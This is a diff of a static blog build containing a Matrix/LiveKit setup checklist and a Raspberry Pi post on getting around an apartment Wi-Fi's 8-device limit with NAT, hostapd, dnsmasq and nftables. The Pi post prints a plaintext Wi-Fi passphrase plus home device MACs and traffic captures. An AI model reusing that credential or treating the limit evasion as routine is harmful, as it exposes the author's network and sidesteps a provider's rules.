    • CORS duplication on /sfu/get: Only ONE Access-Control-Allow-Origin header. If the upstream adds it too, use proxy_hide_header Access-Control-Allow-Origin; on the Nginx location.
    • +
    • Cloudflare: Use DNS-only for rtc.*. Proxies can interfere with WS and UDP paths.
    • +
    • Firewall: Open the LiveKit UDP range and TURN ports on both v4 and v6.
    • +
    +
    +

    Final checklist (print me)

    +
      +
    • https://matrix.example.com/.well-known/matrix/client returns both m.homeserver.base_url and org.matrix.msc4143.rtc_foci pointing to https://rtc.example.com.
    • +
    • /_matrix/client/versions shows "org.matrix.msc4140": true.
    • +
    • /sfu/get preflight returns one Access-Control-Allow-Origin and 200/204.
    • +
    • Starting a call creates HTTP 101 entries to wss://rtc.example.com in rtc.access.log.
    • +
    • LiveKit logs show participants joining (not just CreateRoom).
    • +
    • /voip/turnServer returns time-limited TURN credentials.
    • +
    • Cloudflare set to DNS-only for rtc.*. UFW allows 7881/tcp and your LiveKit UDP range.
    • +
    +
    +

    Credits & tooling

    +
      +
    • Matrix Synapse, coTURN, LiveKit, Element Call.
    • +
    • curl, jq, docker compose logs, Nginx access logs. These are your best friends.
    • +
    • The debugging breakthrough was catching CORS errors in the browser console and looking for HTTP 101 in Nginx logs.
    • +
    +

    Happy calling! 🎉

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuQACgkQtYgoUOBM
    +jSpglxAArFNgxheR8m2r6QvtoEuHJwI51WQteu+0un0FiIfHKtFPcXd2HiVqzODu
    +YZvIGCAecMURQMRvrgB8cO3ebY8Yi9EECnC1sHsluE05GOuro5Htja7TbsGxwTc3
    +PIe+zju7lIhTHonqLogUyyunhWxOfg1RCaSjp3n6k/r2iEamgKu6Cihrv54wstGa
    +SVJbwubie1D9TPcXU3ynC+ynNBcmVevFl7g/X7Ie8Pw0SP1dJF+we5iVqUrZgPO2
    +AudHlWRm13j7Xifv/JxqymkZV1XiShIY8Mb0Ju8m5+HjkoIaZDtSfFyt+AwPdHDQ
    +m3sMXA7yZUvy+pXtziwrOnHFAez22goAr9Ar9KcwGQgRvyxKuuKIuTq+yxtCuXBF
    +fPWo5pL0rMtIfwRyaiiX9bwV+WbBXNhghTPnaxuQ3CWkLdiwaycI7xPDAg8FzFAR
    +7yoN0vqhKSvZlAL1OQS+4yRcXnguq7UY9UF+drG0f0QpC3aht1QgrJ04gvDp2BOk
    +ymmlxCxUWQrFSqDThjv7WFCclamKTimCODKWvIG6sjQcJuLCg9CXRl+ZMvwobQqH
    +Tv8cm8PMimqJppUodB3Ig5zP3ZkVcK8uFm5XqoUnasqDVLLJaRcCu+Qt4h9gZ2w6
    +Q3Q6K/zPZcKEIrwJfczWotSgG0g8dnuMUUYALWTbRrGjN0mgCss=
    +=yHZZ
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/matrix_setup.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/matrix_setup.md.asc
    +gpg --verify matrix_setup.md.asc matrix_setup.md
    +  
    +
    + + +]]>
    \ No newline at end of file diff --git a/public-clearnet/tags/webrtc/page/1/index.html b/public-clearnet/tags/webrtc/page/1/index.html new file mode 100644 index 0000000..5690b55 --- /dev/null +++ b/public-clearnet/tags/webrtc/page/1/index.html @@ -0,0 +1,2 @@ +https://blog.alipour.eu/tags/webrtc/ + \ No newline at end of file diff --git a/public-clearnet/tags/wifi/index.html b/public-clearnet/tags/wifi/index.html new file mode 100644 index 0000000..2adae90 --- /dev/null +++ b/public-clearnet/tags/wifi/index.html @@ -0,0 +1,12 @@ +Wifi | AlipourIm journeys +

    I Beat My 8-Device Wi-Fi Limit with a Raspberry Pi (and Made an IoT Village)

    The Day My Wi-Fi Said “Eight Is Enough” My apartment Wi-Fi (ASK4) has a hard cap of 8 devices. That’s adorable until you own a phone, a laptop, a tablet, a TV, a smart speaker, and even a couple of smart plugs. My solution: put all the IoT stuff behind a Raspberry Pi that shows up as one device to the building’s network, but acts like a full-blown Wi-Fi for everything else I own. +...

    November 23, 2025 · 18 min · Iman Alipour +
    +
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/tags/wifi/index.xml b/public-clearnet/tags/wifi/index.xml new file mode 100644 index 0000000..38aa423 --- /dev/null +++ b/public-clearnet/tags/wifi/index.xml @@ -0,0 +1,593 @@ +Wifi on AlipourIm journeyshttps://blog.alipour.eu/tags/wifi/Recent content in Wifi on AlipourIm journeysHugo -- 0.146.0enSun, 23 Nov 2025 00:00:00 +0000I Beat My 8-Device Wi-Fi Limit with a Raspberry Pi (and Made an IoT Village)https://blog.alipour.eu/posts/house_upgrade/Sun, 23 Nov 2025 00:00:00 +0000https://blog.alipour.eu/posts/house_upgrade/Real-world guide: hardware choices, reasons, setup details, performance, and how many devices you can realistically support.The Day My Wi-Fi Said “Eight Is Enough” +

    My apartment Wi-Fi (ASK4) has a hard cap of 8 devices. That’s adorable until you own a phone, a laptop, a tablet, a TV, a smart speaker, and even a couple of smart plugs. My solution: put all the IoT stuff behind a Raspberry Pi that shows up as one device to the building’s network, but acts like a full-blown Wi-Fi for everything else I own.

    +

    This post is everything I did—no corporate firewall access, no exotic gear—just a Pi, a USB Wi-Fi adapter, and a little patience.

    +
    +

    Hardware: what I picked and why

    +
      +
    • +

      Raspberry Pi 4 (4GB)
      +It has enough CPU to route/NAT comfortably, USB 3 for fast Wi-Fi dongles, and solid Linux support. A Pi 3 works in a pinch, but the 4 stays cooler and handles bursts better.

      +
    • +
    • +

      ALFA AWUS036ACHM (USB Wi-Fi)
      +Reliable, AP-mode friendly on Linux, and happy with hostapd. I used it to broadcast my IoT network (2.4 GHz, 20 MHz channel) while the Pi’s built-in Wi-Fi connects upstream. For better range, use a short USB 3 extension so the antenna sits away from the Pi (USB 3 noise can hurt 2.4 GHz).

      +
    • +
    • +

      Fast USB-C power supply (official Pi 4 or 5V/3A equivalent)
      +Wi-Fi spikes current draw; brown-outs cause random gremlins.

      +
    • +
    • +

      16–32 GB microSD, heatsinks, ventilated case
      +The Pi 4 appreciates a bit of airflow.

      +
    • +
    • +

      (Optional) Ethernet cable
      +If you can wire the Pi to the wall/router for upstream instead of using onboard Wi-Fi, do it. Wired upstream = higher, steadier throughput and frees the onboard radio.

      +
    • +
    +
    +

    What this setup actually does

    +
      +
    • The Pi connects to the building’s ASK4 Wi-Fi as a client (wlan0).
    • +
    • The ALFA dongle creates a new access point called IoT_hub (wlx… interface) with password Iman8118.
    • +
    • Devices join IoT_hub. The Pi does NAT, so upstream sees one MAC address (the Pi), not dozens of gadgets. Device limit: defeated.
    • +
    • Avahi mDNS reflector lets services like AirPlay/HomeKit be discoverable across the two subnets without touching the managed router.
    • +
    • If I’m on the building Wi-Fi and want to control IoT gear without switching, I can also use an optional overlay (e.g., Tailscale) to reach 192.168.50.0/24 from anywhere.
    • +
    +
    +

    Setup details (the friendly version)

    +

    1) Access point with hostapd

    +

    I broadcast a simple WPA2 network on 2.4 GHz (best compatibility). Channel 1/6/11—pick the cleanest. 20 MHz channel width keeps legacy and low-power devices happy.

    +
    interface=wlx00c0cab7ab29
    +ssid=<A_NICE_SSID>
    +country_code=DE
    +hw_mode=g
    +channel=6
    +ieee80211n=1
    +wmm_enabled=1
    +# Don't require HT or you'll reject some tiny IoT clients:
    +require_ht=0
    +wpa=2
    +wpa_key_mgmt=WPA-PSK
    +rsn_pairwise=CCMP
    +wpa_passphrase=<STRONG_PASSWORD>
    +

    2) DHCP on the IoT side (dnsmasq)

    +

    Give out addresses on 192.168.50.0/24 and let systemd-resolved handle DNS to the internet.

    +
    interface=wlx00c0cab7ab29
    +bind-interfaces
    +dhcp-range=192.168.50.100,192.168.50.240,255.255.255.0,12h
    +dhcp-option=3,192.168.50.1
    +dhcp-option=6,1.1.1.1,8.8.8.8
    +port=0  # leave port 53 to systemd-resolved
    +log-dhcp
    +

    3) Routing + NAT (nftables)

    +

    This makes every downstream device appear as the Pi upstream:

    +
    table inet filter {
    +  chain input {
    +    type filter hook input priority filter; policy accept;
    +    ct state established,related accept
    +    iif "lo" accept
    +    iif "wlan0" accept
    +    iif "wlx00c0cab7ab29" accept
    +    udp dport 5353 accept  # mDNS
    +    counter drop
    +  }
    +  chain forward {
    +    type filter hook forward priority filter; policy accept;
    +    ct state established,related accept
    +    iif "wlx00c0cab7ab29" oif "wlan0" accept
    +    iif "wlan0" oif "wlx00c0cab7ab29" accept
    +  }
    +  chain output { type filter hook output priority filter; policy accept; }
    +}
    +table ip nat {
    +  chain postrouting {
    +    type nat hook postrouting priority srcnat; policy accept;
    +    oif "wlan0" masquerade
    +  }
    +}
    +

    4) mDNS across subnets (Avahi)

    +

    The reflector bridges Bonjour so AirPlay/HomeKit can find each other across IoT and ASK4:

    +
    [server]
    +allow-interfaces=wlan0,wlx00c0cab7ab29
    +[reflector]
    +enable-reflector=yes
    +

    I wanted to be able to control my homepod without switching networks, but without setting a custom route on ASK4 WiFi it was not possible, hence the reason I chose Tailscale

    +

    Iet up Tailscale, advertise 192.168.50.0/24 from the Pi. Now I can log in with a passkey from my devices and control my homepod without switching networks, well, kinda. Boom! Secure access to IoT without leaving ASK4.

    +

    Now some random questions that I looked up in internet:

    +
      +
    1. How many devices can this really support?
    2. +
    +

    Short answer: a lot—for IoT. +Long answer: the DHCP pool here has 141 IPs (.100 to .240). Wi-Fi airtime is the real limit, not IPs. With a 2.4 GHz AP and mostly low-bandwidth gadgets (sensors, plugs, bulbs, ESPs), 50–70 devices is completely reasonable. The ALFA’s radio and hostapd handle concurrent associations fine; I’ve watched dozens attach, chatter, and renew leases without drama.

    +

    If you plan camera-heavy traffic or bulk transfers, either split heavy gear onto 5 GHz or wire those devices. For small, chatty IoT traffic, this Pi/AP combo is very comfortable.

    +
      +
    1. What speeds should I expect?
    2. +
    +
      +
    • +

      LAN (IoT device ↔ Pi) on 2.4 GHz, 20 MHz channel, WPA2: +~20–60 Mbps real throughput per device is typical. IoT stuff barely needs 1 Mbps, so I’m golden! ^^

      +
    • +
    • +

      Internet (IoT device → upstream via Pi): +If the Pi’s upstream is Wi-Fi, which in my case is, the bottleneck is that link; expect ~30–70 Mbps stable. If upstream is Ethernet, the Pi 4 can NAT hundreds of Mbps, and my AP radio becomes the limit.

      +
    • +
    • +

      Latency: Adding one NAT hop adds a little delay (a few ms). For HomePod/AirPlay, mDNS reflection + local Wi-Fi keeps it snappy.

      +
    • +
    +
      +
    1. Why these choices?
    2. +
    +
      +
    • +

      2.4 GHz is where tiny IoT radios live (bulbs, plugs, ESP/ESP32). It trades speed for range and compatibility.

      +
    • +
    • +

      WPA2-PSK keeps things simple; WPA3 is fine if all your clients support it.

      +
    • +
    • +

      20 MHz channel prevents older or power-saving devices from flaking out.

      +
    • +
    • +

      Avahi reflector avoids any changes to the building’s router and still lets discovery work.

      +
    • +
    • +

      NAT collapses dozens of gadgets into a single upstream “seat,” sidestepping the 8-device limit entirely.

      +
    • +
    +

    Troubleshooting

    +
      +
    • +

      hostapd masked/disabled

      +
      sudo systemctl unmask hostapd && sudo systemctl enable --now hostapd
      +
    • +
    • +

      dnsmasq can’t start because of port 53
      +set port=0 in /etc/dnsmasq.d/*.conf and let systemd-resolved keep DNS.

      +
    • +
    • +

      “Station does not support mandatory HT PHY” in hostapd logs →
      +add require_ht=0 (and keep ieee80211n=1) in your hostapd.conf.

      +
    • +
    • +

      AirPlay/HomeKit don’t show up across subnets →
      +ensure Avahi reflector is enabled and UDP/5353 (mDNS) is allowed:

      +
        +
      • /etc/avahi/avahi-daemon.conf has: +
        [server]
        +allow-interfaces=wlan0,wlx00c0cab7ab29
        +[reflector]
        +enable-reflector=yes
        +
      • +
      • firewall allows:
      • +
      +
      udp dport 5353 accept
      +
    • +
    • +

      Weak signal / flaky joins →
      +use a short USB 3 extension to move the ALFA away from the Pi and cables;
      +scan and switch to a cleaner 2.4 GHz channel (1/6/11), keep width at 20 MHz.

      +
    • +
    • +

      Clients connect but no internet →
      +verify IP forward & NAT:

      +
    • +
    +
    sudo sysctl net.ipv4.ip_forward
    +

    If it’s 0, enable it permanently and reload

    +
    echo 'net.ipv4.ip_forward=1' | sudo tee /etc/sysctl.d/99-iot.conf
    +sudo sysctl --system
    +

    Verify the nftables NAT rule exists (masquerade out via wlan0)

    +
    sudo nft list ruleset | sed -n '/table ip nat/,$p' | sed -n '1,80p'
    +

    Add it if missing

    +
    sudo nft add table ip nat
    +sudo nft 'add chain ip nat postrouting { type nat hook postrouting priority srcnat; policy accept; }'
    +sudo nft 'add rule ip nat postrouting oif "wlan0" masquerade'
    +

    Persist nftables (Ubuntu)

    +
    sudo sh -c 'nft list ruleset > /etc/nftables.conf'
    +sudo systemctl enable --now nftables
    +

    Quick service sanity checks

    +

    hostapd (AP)

    +
    sudo systemctl status hostapd --no-pager
    +sudo journalctl -u hostapd -n 60 --no-pager
    +iw dev wlx00c0cab7ab29 info
    +iw dev wlx00c0cab7ab29 station dump
    +

    dnsmasq (DHCP on IoT side)

    +
    sudo systemctl status dnsmasq --no-pager
    +sudo journalctl -u dnsmasq -n 80 --no-pager
    +grep -E 'interface=|dhcp-range' /etc/dnsmasq.d/*.conf || true
    +tail -n 50 /var/lib/misc/dnsmasq.leases
    +

    Avahi (mDNS reflector)

    +
    grep -E 'enable-reflector|allow-interfaces' /etc/avahi/avahi-daemon.conf
    +sudo systemctl status avahi-daemon --no-pager
    +sudo journalctl -u avahi-daemon -n 60 --no-pager
    +

    Basic connectivity tests from a client on IoT_hub

    +

    got DHCP?

    +
    ip addr show
    +ip route
    +cat /etc/resolv.conf
    +

    can you reach the Pi and the internet?

    +
    ping -c 3 192.168.50.1
    +ping -c 3 1.1.1.1
    +ping -c 3 google.com
    +

    DNS works end-to-end?

    +
    
    +dig +short _airplay._tcp.local @224.0.0.251 -p 5353
    +

    (Or use a Bonjour browser app to confirm the HomePod is discoverable.)

    +

    If AirPlay/HomeKit discovery is flaky across subnets

    +

    make sure mDNS is allowed both directions on the Pi

    +
    
    +sudo nft add rule inet filter input udp dport 5353 accept
    +sudo nft add rule inet filter forward udp dport 5353 accept
    +sudo sh -c 'nft list ruleset > /etc/nftables.conf'
    +

    restart Avahi cleanly and re-announce

    +
    sudo systemctl restart avahi-daemon
    +sudo journalctl -u avahi-daemon -n 40 --no-pager
    +

    from the Pi, watch mDNS traffic on both sides (you should see queries/answers)

    +
    sudo tcpdump -ni wlx00c0cab7ab29 udp port 5353 -vvv
    +

    (in another terminal:)

    +
    sudo tcpdump -ni wlan0 udp port 5353 -vvv
    +

    Throughput + airtime sanity (optional)

    +

    simple iperf3 (install on Pi and a client)

    +
    sudo apt-get update && sudo apt-get install -y iperf3
    +

    (on the Pi:) iperf3 -s +(on a client:) iperf3 -c 192.168.50.1 -P 3 -t 10

    +

    check channel utilization/interference (from Pi)

    +
    sudo iw dev wlx00c0cab7ab29 survey dump | sed -n '1,200p'
    +

    (if busy, try channel 1 or 11 in hostapd.conf and restart hostapd)

    +

    Scaling tips (lots of tiny IoT devices)

    +

    hostapd tweaks (add to hostapd.conf, then restart)

    +

    (reduce management overhead slightly; keep conservative for compatibility)

    +
    beacon_int=100
    +dtim_period=2
    +wmm_enabled=1
    +ap_isolate=0
    +max_num_sta=256      # logical cap; real limit is airtime/driver
    +
    sudo systemctl restart hostapd
    +

    if some ESP/low-power clients are sticky or nap too hard:

    +

    (device-side) disable aggressive power saving if supported
    +(AP-side) keep channel width at 20 MHz and require_ht=0 for legacy clients

    +

    “Clients connect but no internet” quick checklist

    +

    Pi has a default route via upstream?

    +
    ip route | grep default
    +

    NAT counters are increasing when clients surf?

    +
    sudo nft list chain ip nat postrouting -a
    +

    connections tracked?

    +
    sudo conntrack -L -o extended | head -n 40
    +

    last resort: bounce the pieces

    +
    sudo systemctl restart hostapd dnsmasq avahi-daemon
    +sudo systemctl restart NetworkManager || true
    +sudo systemctl restart nftables
    +

    Network Traffic (embedded from captures)

    +

    For fun, and curiousity!

    +

    1) DHCP leases (who joined the IoT network)

    +
    1763936213 6a:12:f6:62:40:88 192.168.50.216 * 01:6a:12:f6:62:40:88
    +1763935691 72:00:a6:33:e5:7a 192.168.50.222 * 01:72:00:a6:33:e5:7a
    +1763935629 e8:06:90:69:66:7c 192.168.50.189 Aidot 01:e8:06:90:69:66:7c
    +1763936452 ac:bc:b5:e5:38:29 192.168.50.202 Main-Bedroom-2 01:ac:bc:b5:e5:38:29
    +1763935618 e8:06:90:68:06:2c 192.168.50.196 * 01:e8:06:90:68:06:2c
    +1763935618 48:e1:e9:bc:f6:91 192.168.50.131 * *
    +1763935618 48:e1:e9:bd:08:0d 192.168.50.118 * *
    +1763935615 48:e1:e9:bd:0b:a7 192.168.50.233 * *
    +1763935618 7c:f1:7e:ff:e1:b0 192.168.50.104 KH100 *
    +1763935607 cc:b5:d1:31:a4:cc 192.168.50.134 espressif 01:cc:b5:d1:31:a4:cc
    +

    2) Top talkers by bytes (hosts table)

    +
    192.168.50.233,7346
    +192.168.50.118,7216
    +192.168.50.131,7216
    +17.253.53.203,7040
    +54.217.122.41,6271
    +192.168.50.216,5392
    +192.168.50.104,3058
    +192.168.50.189,2278
    +17.242.218.132,1802
    +192.168.50.134,1750
    +192.168.50.196,1653
    +3.122.71.119,639
    +18.196.19.65,570
    +161.117.178.131,391
    +17.253.53.201,148
    +17.57.146.25,90
    +10.172.72.196,66
    +224.0.0.251,0
    +224.0.0.2,0
    +255.255.255.255,0
    +

    3) Heaviest flows (src, dst, proto, dport, bytes)

    +
    192.168.50.202,192.168.50.131,TCP,59903,402
    +192.168.50.202,192.168.50.118,TCP,59807,402
    +161.117.178.131,192.168.50.134,TCP,58246,391
    +192.168.50.216,192.168.50.202,UDP,5353,336
    +192.168.50.202,192.168.50.189,UDP,5353,312
    +192.168.50.202,192.168.50.196,UDP,5353,234
    +17.253.53.203,192.168.50.202,TCP,64726,222
    +192.168.50.216,17.57.146.25,TCP,5223,172
    +192.168.50.216,192.168.50.233,UDP,5353,162
    +192.168.50.202,192.168.50.104,UDP,5353,156
    +17.253.53.201,192.168.50.202,TCP,64727,148
    +192.168.50.202,17.253.53.201,TCP,443,132
    +192.168.50.216,224.0.0.251,IP,0,92
    +192.168.50.216,224.0.0.2,IP,0,92
    +17.57.146.25,192.168.50.216,TCP,64544,90
    +192.168.50.216,192.168.50.118,UDP,5353,75
    +192.168.50.216,192.168.50.131,UDP,5353,75
    +192.168.50.216,192.168.50.134,UDP,5353,75
    +192.168.50.216,10.172.72.196,TCP,59593,70
    +10.172.72.196,192.168.50.216,TCP,51638,66
    +

    4) Conntrack snapshot (active connections inventory)

    +
    ipv4     2 tcp      6 48 TIME_WAIT src=10.172.71.98 dst=185.125.190.39 sport=55012 dport=80 src=185.125.190.39 dst=10.172.71.98 sport=80 dport=55012 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 100 src=10.172.71.98 dst=185.40.234.113 sport=41641 dport=3478 src=185.40.234.113 dst=10.172.71.98 sport=3478 dport=41641 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431665 ESTABLISHED src=192.168.50.216 dst=17.57.146.25 sport=64544 dport=5223 src=17.57.146.25 dst=10.172.71.98 sport=5223 dport=64544 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 27 src=10.172.72.205 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=10.172.72.205 sport=5353 dport=5353 mark=0 use=1
    +ipv4     2 udp      17 17 src=10.172.72.196 dst=10.172.79.255 sport=137 dport=137 [UNREPLIED] src=10.172.79.255 dst=10.172.72.196 sport=137 dport=137 mark=0 use=1
    +ipv4     2 tcp      6 431999 ESTABLISHED src=192.168.50.196 dst=18.196.19.65 sport=55164 dport=8883 src=18.196.19.65 dst=10.172.71.98 sport=8883 dport=55164 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 16 src=127.0.0.1 dst=127.0.0.53 sport=41796 dport=53 src=127.0.0.53 dst=127.0.0.1 sport=53 dport=41796 mark=0 use=1
    +ipv4     2 unknown  2 265 src=192.168.50.216 dst=224.0.0.251 [UNREPLIED] src=224.0.0.251 dst=192.168.50.216 mark=0 use=1
    +ipv4     2 udp      17 5 src=192.168.50.104 dst=1.1.1.1 sport=23791 dport=53 src=1.1.1.1 dst=10.172.71.98 sport=53 dport=23791 mark=0 use=1
    +ipv4     2 udp      17 119 src=10.172.72.205 dst=10.172.71.98 sport=41641 dport=41641 src=10.172.71.98 dst=10.172.72.205 sport=41641 dport=41641 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 27 src=10.172.71.98 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=10.172.71.98 sport=5353 dport=5353 mark=0 use=1
    +ipv4     2 tcp      6 431946 ESTABLISHED src=192.168.50.202 dst=17.242.218.132 sport=64686 dport=5223 src=17.242.218.132 dst=10.172.71.98 sport=5223 dport=64686 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 10 src=10.172.71.98 dst=239.255.255.250 sport=40234 dport=1900 [UNREPLIED] src=239.255.255.250 dst=10.172.71.98 sport=1900 dport=40234 mark=0 use=1
    +ipv4     2 tcp      6 96 TIME_WAIT src=192.168.50.104 dst=3.217.113.91 sport=49707 dport=443 src=3.217.113.91 dst=10.172.71.98 sport=443 dport=49707 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 10 src=10.172.71.98 dst=10.172.64.1 sport=40234 dport=1900 [UNREPLIED] src=10.172.64.1 dst=10.172.71.98 sport=1900 dport=40234 mark=0 use=1
    +ipv4     2 tcp      6 431812 ESTABLISHED src=100.69.238.103 dst=192.168.50.202 sport=55514 dport=49395 src=192.168.50.202 dst=192.168.50.1 sport=49395 dport=55514 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431666 ESTABLISHED src=192.168.50.216 dst=10.172.72.196 sport=51638 dport=59593 src=10.172.72.196 dst=10.172.71.98 sport=59593 dport=51638 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431998 ESTABLISHED src=100.69.238.103 dst=192.168.50.202 sport=55510 dport=7000 src=192.168.50.202 dst=192.168.50.1 sport=7000 dport=55510 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 14 src=192.168.50.131 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=192.168.50.131 sport=5353 dport=5353 mark=0 use=1
    +ipv4     2 unknown  2 596 src=10.172.72.205 dst=224.0.0.251 [UNREPLIED] src=224.0.0.251 dst=10.172.72.205 mark=0 use=1
    +ipv4     2 udp      17 27 src=192.168.50.1 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=192.168.50.1 sport=5353 dport=5353 mark=0 use=8
    +ipv4     2 udp      17 27 src=10.172.72.205 dst=10.172.71.98 sport=5353 dport=5353 [UNREPLIED] src=10.172.71.98 dst=10.172.72.205 sport=5353 dport=5353 mark=0 use=1
    +ipv4     2 udp      17 15 src=192.168.50.118 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=192.168.50.118 sport=5353 dport=5353 mark=0 use=1
    +ipv4     2 udp      17 88 src=10.172.71.98 dst=109.43.114.250 sport=41641 dport=41641 src=109.43.114.250 dst=10.172.71.98 sport=41641 dport=41641 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431997 ESTABLISHED src=192.168.50.104 dst=18.234.9.109 sport=49700 dport=443 src=18.234.9.109 dst=10.172.71.98 sport=443 dport=49700 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431998 ESTABLISHED src=10.172.71.98 dst=199.165.136.101 sport=45248 dport=443 src=199.165.136.101 dst=10.172.71.98 sport=443 dport=45248 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431992 ESTABLISHED src=10.172.72.196 dst=10.172.71.98 sport=63953 dport=22 src=10.172.71.98 dst=10.172.72.196 sport=22 dport=63953 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431995 ESTABLISHED src=192.168.50.189 dst=3.122.71.119 sport=50422 dport=8883 src=3.122.71.119 dst=10.172.71.98 sport=8883 dport=50422 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 100 src=10.172.71.98 dst=176.58.90.104 sport=41641 dport=3478 src=176.58.90.104 dst=10.172.71.98 sport=3478 dport=41641 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 107 TIME_WAIT src=10.172.71.98 dst=185.125.190.36 sport=50914 dport=80 src=185.125.190.36 dst=10.172.71.98 sport=80 dport=50914 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 26 src=192.168.50.202 dst=192.168.50.1 sport=5353 dport=5353 [UNREPLIED] src=192.168.50.1 dst=192.168.50.202 sport=5353 dport=5353 mark=0 use=1
    +ipv4     2 udp      17 16 src=127.0.0.1 dst=127.0.0.53 sport=33321 dport=53 src=127.0.0.53 dst=127.0.0.1 sport=53 dport=33321 mark=0 use=1
    +ipv4     2 tcp      6 431975 ESTABLISHED src=192.168.50.134 dst=161.117.178.131 sport=58246 dport=11883 src=161.117.178.131 dst=10.172.71.98 sport=11883 dport=58246 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 16 src=10.172.71.98 dst=10.172.64.1 sport=35510 dport=53 src=10.172.64.1 dst=10.172.71.98 sport=53 dport=35510 mark=0 use=1
    +ipv4     2 udp      17 100 src=10.172.71.98 dst=176.58.93.154 sport=41641 dport=3478 src=176.58.93.154 dst=10.172.71.98 sport=3478 dport=41641 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431652 ESTABLISHED src=100.69.238.103 dst=192.168.50.202 sport=55513 dport=49394 src=192.168.50.202 dst=192.168.50.1 sport=49394 dport=55513 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 23 src=192.168.50.104 dst=255.255.255.255 sport=21112 dport=20002 [UNREPLIED] src=255.255.255.255 dst=192.168.50.104 sport=20002 dport=21112 mark=0 use=1
    +ipv4     2 udp      17 10 src=10.172.71.98 dst=10.172.64.1 sport=40234 dport=5351 [UNREPLIED] src=10.172.64.1 dst=10.172.71.98 sport=5351 dport=40234 mark=0 use=1
    +ipv4     2 udp      17 10 src=10.172.71.98 dst=10.172.64.1 sport=34331 dport=5351 [UNREPLIED] src=10.172.64.1 dst=10.172.71.98 sport=5351 dport=34331 mark=0 use=1
    +ipv4     2 tcp      6 431975 ESTABLISHED src=10.172.71.98 dst=192.200.0.115 sport=48100 dport=443 src=192.200.0.115 dst=10.172.71.98 sport=443 dport=48100 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431999 ESTABLISHED src=10.172.71.98 dst=176.58.93.154 sport=58128 dport=443 src=176.58.93.154 dst=10.172.71.98 sport=443 dport=58128 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431997 ESTABLISHED src=100.69.238.103 dst=192.168.50.202 sport=55515 dport=49154 src=192.168.50.202 dst=192.168.50.1 sport=49154 dport=55515 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 118 TIME_WAIT src=192.168.50.104 dst=3.217.113.91 sport=49708 dport=443 src=3.217.113.91 dst=10.172.71.98 sport=443 dport=49708 [ASSURED] mark=0 use=1
    +

    5) Part of Raw packet capture

    +
      +
    • What’s inside?
    • +
    +
    tshark -r iot_ap_120s.pcap -q -z io,stat,60
    +
    +
    +==================================
    +| IO Statistics                  |
    +|                                |
    +| Duration: 119.773534 secs      |
    +| Interval:  60 secs             |
    +|                                |
    +| Col 1: Frames and bytes        |
    +|--------------------------------|
    +|            |1                  |
    +| Interval   | Frames |   Bytes  |
    +|--------------------------------|
    +|   0 <>  60 |    400 |    60449 |
    +|  60 <> Dur |  24672 | 30179911 |
    +==================================
    +
      +
    • Protocol hierarchy (what kinds of traffic?)
    • +
    +
    ❯ tshark -r iot_ap_120s.pcap -q -z io,phs
    +
    +===================================================================
    +Protocol Hierarchy Statistics
    +Filter: 
    +
    +eth                                      frames:25072 bytes:30240360
    +  ip                                     frames:24706 bytes:30195993
    +    udp                                  frames:349 bytes:94583
    +      mdns                               frames:241 bytes:60693
    +      data                               frames:32 bytes:2240
    +      quic                               frames:76 bytes:31650
    +        quic                             frames:2 bytes:2484
    +    tcp                                  frames:24353 bytes:30101226
    +      tls                                frames:2413 bytes:3493680
    +        tcp.segments                     frames:2256 bytes:3378795
    +          tls                            frames:2222 bytes:3353799
    +      data                               frames:147 bytes:71717
    +      tcp.segments                       frames:5 bytes:7550
    +    igmp                                 frames:4 bytes:184
    +  arp                                    frames:150 bytes:6300
    +  ipv6                                   frames:216 bytes:38067
    +    icmpv6                               frames:124 bytes:10704
    +    udp                                  frames:79 bytes:25415
    +      data                               frames:2 bytes:132
    +      mdns                               frames:77 bytes:25283
    +    tcp                                  frames:13 bytes:1948
    +      data                               frames:1 bytes:90
    +===================================================================
    +
      +
    • Top IP conversations (who talked to whom?)
    • +
    +
    ❯ tshark -r iot_ap_120s.pcap  -q -z conv,ip
    +================================================================================
    +IPv4 Conversations
    +Filter:<No Filter>
    +                                               |       <-      | |       ->      | |     Total     |    Relative    |   Duration   |
    +                                               | Frames  Bytes | | Frames  Bytes | | Frames  Bytes |      Start     |              |
    +192.168.50.202       <-> 17.253.37.195          19588 29 MB        3912 286 kB      23500 29 MB        72.555738000        21.8560
    +192.168.50.1         <-> 192.168.50.202           239 74 kB         238 46 kB         477 120 kB        0.293866000       119.4797
    +192.168.50.1         <-> 224.0.0.251                0 0 bytes       118 28 kB         118 28 kB         0.000000000       119.7310
